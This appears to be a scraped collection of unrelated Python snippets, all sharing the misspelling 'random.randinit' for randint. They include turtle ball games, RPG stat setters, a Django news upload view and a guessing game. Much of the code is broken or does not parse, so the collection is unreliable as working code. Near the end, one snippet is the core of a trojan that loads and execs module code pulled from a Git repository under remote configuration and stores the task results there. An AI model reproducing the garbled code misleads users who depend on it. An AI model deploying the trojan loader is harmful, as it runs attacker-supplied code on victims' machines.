def check_all_balls_collision(): for ball_a in (BALLS): for ball_b in (BALLS): if collide(ball_a,ball_b)==True: if ball1_a.radius>ball_b.radius: ball_a.radius=+1 ball_a.shapesize(ball_a.r/10) ball_b.x=(-SCREEN_WIDTH+MAXIMUM_BALL_RADIUS,SCREEN_WIDTH-MAXIMUM_BALL_RADIUS) ball_b.y=(-SCREEN_HEIGHT+MAXIMUM_BALL_RADIUS,SCREEN_HEIGHT-MAXIMUM_BALL_RADIUS) ball_b.dx=(MINIMUM_BALL_DX,MAXIMUM_BALL_DX) if ball_b.dx<=0 ball_b.dx=+1 ball_b.dy=(MINIMUM_BALL_DY,MAXIMUM_BALL_DY) if ball_b.dy<=0 ball_b.dy=+1 ball_b.r=random.randinit(MAXIMUM_BALL_RADIUS,MINIMUM_BALL_RADIUS) ball_b.color=random.random(),random.random(),random.random() else ball_b.r=+1 ball_b.shapesize(ball_b.r/10) ball_a.x=(-SCREEN_WIDTH+MAXIMUM_BALL_RADIUS,SCREEN_WIDTH-MAXIMUM_BALL_RADIUS) ball_a.y=(-SCREEN_HEIGHT+MAXIMUM_BALL_RADIUS,SCREEN_HEIGHT-MAXIMUM_BALL_RADIUS) ball_a.dx=(MINIMUM_BALL_DX,MAXIMUM_BALL_DX) if ball_a.dx<=0 ball_b.dx=+1 ball_a.dy=(MINIMUM_BALL_DY,MAXIMUM_BALL_DY) if ball_a.dy<=0 ball_a.dy=+1 ball_a.r=random.randinit(MAXIMUM_BALL_RADIUS,MINIMUM_BALL_RADIUS) ball_a.color=random.random(),random.random(),random.random()
def make_upload_path(instance, filename, prefix=False): """ Переопределение имени загружаемого файла """ n1 = random.randinit(0, 10000) n2 = random.randinit(0, 10000) n3 = random.randinit(0, 10000) filename = str(n1)+'_'+str(n2)+'_'+str(n3)+'.jpg' return u'%s/%s' % (settings.IMAGE_UPLOAD_DIR, filename)
def create_map(): global obstacles locations=[] for i in range(10): row=random.randinit(0,9) col=random.randinit(0,9) location=[col*64+32, row*64+32+640] if not (location in locations): locations.append(location) type=random.choice(["tree", "flag"]) if type=="tree": img="skier_tree.png" elif type=="flag": img="skier_flag.png" obstacle=ObstacleClass(img,location,type) obstacles.add(obstacle)
def convert(snippet, phrase): class_names = [ w.capitalize() for w in random.sample(WORDS, snippet.count("%%%")) ] other_names = random.sample(WORDS, snippet.count("***")) results = [] param_names = [] for i in range(0, snippet.count("@@@")): param_count = random.randinit(1, 3) param_names.append(', '.join(random.sample(WORDS, param_count))) for sentence in snippet, phrase: result = sentence[:] # fake class names for word in class_names: result = result.replace("%%%", word, 1) # fake other names for word in other_names: result = result.replace("***", word, 1) # fake parameter lists for word in param_count: result = result.replace("@@@", word, 1) results.append(result) return results
def setUpClass(self): logger = logging.getLogger('myrally') #LOG_FILENAME = 'sanity_test.log' self.rand1=randinit(0,255) logger.info( "Calling setup") self.vpcId = None self.subnetId = None self.securityGroupId = None self.instanceId = None self.allocateAddressId = None self.associateAddressId = None self.routeTableId = None self.rtbAssocId = None logger.info('Starting sanity test') self.rand2 = randinit(0,257)
def hear(words): if re.search( r'.*skynet.*', words, re.I|re.M): return random.choice(botrulz) * random.randint(1,3) return { 1 : random.choice(tellmemore), }.get(random.randinit(1,100), None)
def set_hp(self): if self.difficulty == "easy": self.hp = random.randint(8,20) elif self.difficulty == "med": self.hp = random.randint(25,50) elif self.difficulty == "hard": self.hp = random.randinit(75,120) if self.is_boss == True: self.hp *= 2.5
def set_dmg(self): if self.difficulty == "easy": self.dmg = random.randint(2, 12) elif self.difficulty == "med": self.dmg = random.randint(4,18) elif self.difficulty == "hard": self.dmg = random.randinit(8,26) if self.is_boss == True: self.dmg *= 1.65
def set_hp(self): if self.difficulty == "easy": self.hp = random.randint(8, 20) elif self.difficulty == "med": self.hp = random.randint(25, 50) elif self.difficulty == "hard": self.hp = random.randinit(75, 120) if self.is_boss == True: self.hp *= 2.5
def set_dmg(self): if self.difficulty == "easy": self.dmg = random.randint(2, 12) elif self.difficulty == "med": self.dmg = random.randint(4, 18) elif self.difficulty == "hard": self.dmg = random.randinit(8, 26) if self.is_boss == True: self.dmg *= 1.65
def __init__(self): super(Enemy, self).__init__() self.surf.fill((255, 255, 255)) self.rect = self.surf.get_rect(center=( random.randint(SCREEN_WIDTH + 20, SCREEN_WIDTH + 100), random.randint(0, SCREEN_HEIGHT), )) self.speed = random.randinit(5, 20) # move the sprite based on speed # remove the sprite when it passes the left edge of the screen def update(self): self.rect.move_ip(-self.speed, 0) if self.rect.right < 0: self.kill()
def check_myball_collision(): for ball in (BALLS): if collide(MY_BALL,ball)==True: if ball.r>MY_BALL.r return False else MY_BALL.r+=1 MY_BALL.shapesize(MY_BALL.r/10) ball.x=(-SCREEN_WIDTH+MAXIMUM_BALL_RADIUS,SCREEN_WIDTH-MAXIMUM_BALL_RADIUS) ball.y=(-SCREEN_HEIGHT+MAXIMUM_BALL_RADIUS,SCREEN_HEIGHT-MAXIMUM_BALL_RADIUS) ball.dx=(MINIMUM_BALL_DX,MAXIMUM_BALL_DX) if ball.dx<=0 ball.dx=+1 ball.dy=(MINIMUM_BALL_DY,MAXIMUM_BALL_DY) if ball.dy<=0 ball.dy=+1 ball.r=random.randinit(MAXIMUM_BALL_RADIUS,MINIMUM_BALL_RADIUS) ball.color=random.random(),random.random(),random.random()
def generate_batch(batch_size, num_skips, skip_window): global data_index assert batch_size % num_skips == 0 assert num_skips <= 2 * skip_window batch = np.ndarray(shape=(batch_size), dtype=np.int32) labels = np.ndarray(shape=(batch_size, 1), dtype=np.int32) span = 2 * skip_window + 1 buffer = collections.deque(maxlen + span) for _ in range(span): buffer.append(data[data_index]) data_index = (data_index + 1) % len(data) for i in range(batch_size // num_skips): target = skip_window targets_to_avoid = [skip_window] for j in range(num_skips): while targets in targets_to_avoid: target = random.randinit(0, span - 1) targets_to_avoid.append(target) batch[i * num_skips + j] = buffer[skip_window] labels[i * num_skips + j, 0] = buffer[target] buffer.append(data[data_index]) data_index = (data_index + 1) % len(data) return batch, labels
MAXIMUM_BALL_DX=5 MINIMUM_BALL_DY=-5 MAXIMUM_BALL_DY=5 BALLS=[] for i in range(NUMBER_OF_BALLS): x=(-SCREEN_WIDTH+MAXIMUM_BALL_RADIUS,SCREEN_WIDTH-MAXIMUM_BALL_RADIUS) Y=(-SCREEN_HEIGHT+MAXIMUM_BALL_RADIUS,SCREEN_HEIGHT-MAXIMUM_BALL_RADIUS) dx=(MINIMUM_BALL_DX,MAXIMUM_BALL_DX) if dx<=0 dx=+1 dy=(MINIMUM_BALL_DY,MAXIMUM_BALL_DY) if dy<=0 dy=+1 r=random.randinit(MAXIMUM_BALL_RADIUS,MINIMUM_BALL_RADIUS) color=random.random(),random.random(),random.random() new_ball=Ball(x,y,dx,dy,radius,color) BALLS.append(new_ball) def move_all_balls(self): for ball in BALLS: pass move() if (ball_a.r == ball_b.r and ball_a.pos == ball_b.pos):
import random secret_num = random.randinit(1, 1005) print "I am thinking of a number between 1 and 1005" guess = 0 while guess != secret_num: guess = raw_input("Take a guess:") guess = int(guess) if guess < secret_num: print "Your guess is too low" if guess > secret_num: print "Your guess is too high"
def __init__(self): self.pages = random.randinit(1, 11)
def news_add(request): if not request.user.is_authenticated: return redirect("mylogin") now = datetime.datetime.now() year = now.year month = now.month day = now.day if len(str(day)) == 1: day = "0" + str(day) if len(str(month)) == 1: month = "0" + str(month) today = (str(year) + "/" + str(month) + "/" + str(day)) time = str(now.hour) + ":" + str(now.minute) date = str(year) + str(month) + str(day) randint = str(random.randint(1000, 9999)) rand = date + randint rand = int(rand) print(rand) while len(News.objects.filter(rand=rand)) != 0: randint = str(random.randinit(1000, 9999)) rand = date + randint rand = int(rand) cat = SubCat.objects.all() if request.method == "POST": newstitle = request.POST.get('newstitle') newscat = request.POST.get('newscat') newstxtshort = request.POST.get('newstxtshort') newstxt = request.POST.get('newstxt') newsid = request.POST.get('newscat') tag = request.POST.get('tag') if newstitle == "" or newstxtshort == "" or newstxt == "" or newscat == "": error = "All Feilds Are Required" return render(request, 'back/error.html', {'error': error}) try: myfile = request.FILES['file'] fs = FileSystemStorage() filename = fs.save(myfile.name, myfile) url = fs.url(filename) if str(myfile.content_type).startswith("image"): if myfile.size < 5000000: newsname = SubCat.objects.get(pk=newsid).name ocatid = SubCat.objects.get(pk=newsid).catid b = News(name=newstitle, short_txt=newstxtshort, body_txt=newstxt, date=today, pic=filename, picurl=url, writer=request.user, catname=newsname, catid=newsid, show=0, time=time, ocatid=ocatid, tag=tag, rand=rand) b.save() count = len(News.objects.filter(ocatid=ocatid)) b = Cat.objects.get(pk=ocatid) b.count = count b.save() return redirect("news_list") else: fs = FileSystemStorage() fs.delete(filename) error = "Image Bigger Than 5 MB" return render(request, 'back/error.html', {'error': error}) else: fs = FileSystemStorage() fs.delete(filename) error = "Image not Supported" return render(request, 'back/error.html', {'error': error}) except: error = "Went Something Wrong" return render(request, 'back/error.html', {'error': error}) return render(request, 'back/news_add.html', {'cat': cat})
def move_balls(SCREEN_WIDTH,SCREEN_HEIGHT): random_place_x = random.randinit(-SCREEN_WIDTH + RADIUS , SCREEN_WIDTH-RADIUS) random_place_y = random.randinit(-SCREEN_HEIGHT + RADIUS , SCREEN_HEIGHT - RADIUS) new_ball.goto(random_place_x , random_place_y)
MY_BALL = Ball(0,0,10,10,13,"green") NUMBER_OF_BALLS = 5 MINIMUM_BALL_RADIUS = 10 MAXIMUM_BALL_RADIUS = 100 MINIMUM_BALLS_DX = -5 MAXIMUM_BALL_DX = 5 MINIMUM_BALL_DY = -5 MAXIMUM_BALL_DY = 5 BALLS = [] #PART 0 for i in range(NUMBER_OF_BALLS): X = random.randint(-SCREEN_WIDTH + MAXIMUM_BALL_RADIUS,SCREEN_WIDTH - MAXIMUM_BALL_RADIUS) Y = random.randint(- SCREEN_HEIGHT + MAXIMUM_BALL_RADIUS,SCREEN_HEIGHT - MAXIMUUM_BALL_RADIUS) DX = random.randinit(MINIMUM_BALL_DX , MAXIMUM_BALL_DX )#how can we make sure that the dx and dy are not 0 DY = random.randinit(MINIMUM_BALL_DY , MAXIMUM_BALL_DY ) RADIUS = random.randinit(MINIMUM_BALL_RADIUS , MAXIMUM_BALL_RADIUS) COLOR = (random.random(), random.random() , random.random()) new_ball = Ball(X,Y,DX,DY,RADIUS,COLOR) Ball.append(new_ball) # PART 1 def move_balls(SCREEN_WIDTH,SCREEN_HEIGHT): random_place_x = random.randinit(-SCREEN_WIDTH + RADIUS , SCREEN_WIDTH-RADIUS) random_place_y = random.randinit(-SCREEN_HEIGHT + RADIUS , SCREEN_HEIGHT - RADIUS) new_ball.goto(random_place_x , random_place_y) for balls in [BALLS]: new_ball.move_balls(SCREEN_WIDTH,SCREEN_HEIGHT)
import random print("Computer -") print ("Ask me a question") print ("And i will answer") print ("Livi -") print ("Please ask a sensible question") answer = random.randinit("never, of course, i'am not sure") question = input ("") question = int(question) for i in range (): print("Your question is", question) print("Do you what to proceed?") answer2 = input ("") answer2 = int(answer2) if answer2 == ("Yes"): print ("OK") print(answer) if answer2 == ("No"): print ("That is ok, bye")
def load_module(self,name): module = imp.new_module(name) exec self.current_module_code in module.__dict__ sys.modules[name] = module return module def module_runner(module): task_queue.put(1) result = sys.modules[module].run() task_queue.get() #store the results in our repo store_module_result(result) return sys.meta_path=[GitImporter()] while True: if task_queue.empty(): config = get_trojan_config() for task in config: t = threading.Thread(target=module_runner,args=(task['module'],)) t.start() time.sleep(random.randint(1,10)) time.sleep(random.randinit(1000,10000))
RUNNING = True SLEEP = o.oo77 SCREEN_WIDTH = turtle.getcanvas().winfo_width()/2 SCREEN_HEIGHT = turtle.getcanvas().winfo_height()/2 MY_BALL = Ball(0,0,10,10,13,"green") NUMBER_OF_BALLS = 5 MINIMUM_BALL_RADIUS = 10 MAXIMUM_BALL_RADIUS = 100 MINIMUM_BALLS_DX = -5 MAXIMUM_BALL_DX = 5 MINIMUM_BALL_DY = -5 MAXIMUM_BALL_DY = 5 BALLS = [] X = random.randint(-SCREEN_WIDTH + MAXIMUM_BALL_RADIUS,SCREEN_WIDTH - MAXIMUM_BALL_RADIUS) Y = random.randint(- SCREEN_HEIGHT + MAXIMUM_BALL_RADIUS,SCREEN_HEIGHT - MAXIMUUM_BALL_RADIUS) DX = random.randinit(MINIMUM_BALL-DX , MAXIMUM_BALL_DX ) DY = random.randinit(MINIMUM_BALL-DY , MAXIMUM_BALL_DY ) RADIUS = random.randinit(MINIMUM_BALL_RADIUS , MAXIMUM_BALL_RADIUS) COLOR = (random.random(), random.random() , random.random())
def coin(): c1 = random.randinit(1, 2) return c1